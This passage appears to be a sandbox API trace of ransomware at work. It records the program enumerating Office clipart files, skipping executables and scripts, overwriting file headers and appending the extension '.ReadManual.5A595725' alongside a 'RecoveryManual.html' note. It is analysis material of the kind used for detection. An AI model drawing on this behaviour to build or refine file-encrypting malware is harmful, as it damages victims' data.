Office\\CLIPART\\PUB60COR\\DD01629_.WMF.ReadManual.5A595725") returned 87 [0262.639] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38330800078) returned 1 [0262.639] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0262.639] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.640] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=580) returned 1 [0262.640] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x244, lpName=0x0) returned 0x184 [0262.640] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.641] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.642] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.645] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.645] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x244) returned 0x2f0000 [0262.646] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.646] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38331437219) returned 1 [0262.646] CloseHandle (hObject=0x184) returned 1 [0262.646] SetSecurityInfo () returned 0x57 [0262.646] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.646] CloseHandle (hObject=0x194) returned 1 [0262.649] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0262.650] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01630_.WMF" | out: lpString1="DD01630_.WMF") returned="DD01630_.WMF" [0262.650] lstrcmpiW (lpString1="DD01630_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.650] StrStrIW (lpFirst="DD01630_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.650] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.650] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.651] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.651] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.651] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.651] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.651] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.651] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" [0262.651] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.ReadManual.5A595725" [0262.651] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.ReadManual.5A595725") returned 87 [0262.651] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38331953588) returned 1 [0262.651] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0262.651] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.651] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=296) returned 1 [0262.651] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x128, lpName=0x0) returned 0x184 [0262.651] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.652] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.652] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.653] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.654] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x128) returned 0x2f0000 [0262.654] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.654] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38332250936) returned 1 [0262.654] CloseHandle (hObject=0x184) returned 1 [0262.654] SetSecurityInfo () returned 0x57 [0262.654] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.654] CloseHandle (hObject=0x194) returned 1 [0262.655] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0262.655] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01631_.WMF" | out: lpString1="DD01631_.WMF") returned="DD01631_.WMF" [0262.655] lstrcmpiW (lpString1="DD01631_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.655] StrStrIW (lpFirst="DD01631_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.655] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.655] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.655] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" [0262.655] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.ReadManual.5A595725" [0262.655] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.ReadManual.5A595725") returned 87 [0262.655] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38332413876) returned 1 [0262.655] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0262.656] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.656] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=552) returned 1 [0262.656] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228, lpName=0x0) returned 0x184 [0262.656] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.656] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.656] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.659] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.659] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x228) returned 0x2f0000 [0262.659] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.659] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38332783991) returned 1 [0262.659] CloseHandle (hObject=0x184) returned 1 [0262.659] SetSecurityInfo () returned 0x57 [0262.659] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.659] CloseHandle (hObject=0x194) returned 1 [0262.660] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0262.661] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01761_.WMF" | out: lpString1="DD01761_.WMF") returned="DD01761_.WMF" [0262.661] lstrcmpiW (lpString1="DD01761_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.661] StrStrIW (lpFirst="DD01761_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.661] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.661] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.662] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.662] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.662] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.662] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.662] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" [0262.662] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.ReadManual.5A595725" [0262.662] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.ReadManual.5A595725") returned 87 [0262.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38333051721) returned 1 [0262.662] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0262.663] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.663] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4148) returned 1 [0262.663] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1034, lpName=0x0) returned 0x184 [0262.663] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.664] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.666] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.666] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1034) returned 0x2f0000 [0262.666] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.666] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38333481746) returned 1 [0262.666] CloseHandle (hObject=0x184) returned 1 [0262.666] SetSecurityInfo () returned 0x57 [0262.666] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.666] CloseHandle (hObject=0x194) returned 1 [0262.667] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0262.667] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01772_.WMF" | out: lpString1="DD01772_.WMF") returned="DD01772_.WMF" [0262.667] lstrcmpiW (lpString1="DD01772_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.667] StrStrIW (lpFirst="DD01772_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.667] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.667] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.668] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.668] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.668] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.668] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" [0262.668] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.ReadManual.5A595725" [0262.668] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.ReadManual.5A595725") returned 87 [0262.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38333650531) returned 1 [0262.668] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0262.669] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.669] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2300) returned 1 [0262.669] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fc, lpName=0x0) returned 0x184 [0262.669] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.670] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.670] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.671] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.671] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fc) returned 0x2f0000 [0262.671] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.671] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38334026692) returned 1 [0262.672] CloseHandle (hObject=0x184) returned 1 [0262.672] SetSecurityInfo () returned 0x57 [0262.672] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.672] CloseHandle (hObject=0x194) returned 1 [0262.673] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0262.673] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD01793_.WMF" | out: lpString1="DD01793_.WMF") returned="DD01793_.WMF" [0262.673] lstrcmpiW (lpString1="DD01793_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.673] StrStrIW (lpFirst="DD01793_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.673] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.673] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.673] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" [0262.673] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.ReadManual.5A595725" [0262.673] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.ReadManual.5A595725") returned 87 [0262.673] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38334200662) returned 1 [0262.673] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0262.673] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.674] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3252) returned 1 [0262.674] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb4, lpName=0x0) returned 0x184 [0262.674] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.674] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.674] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, 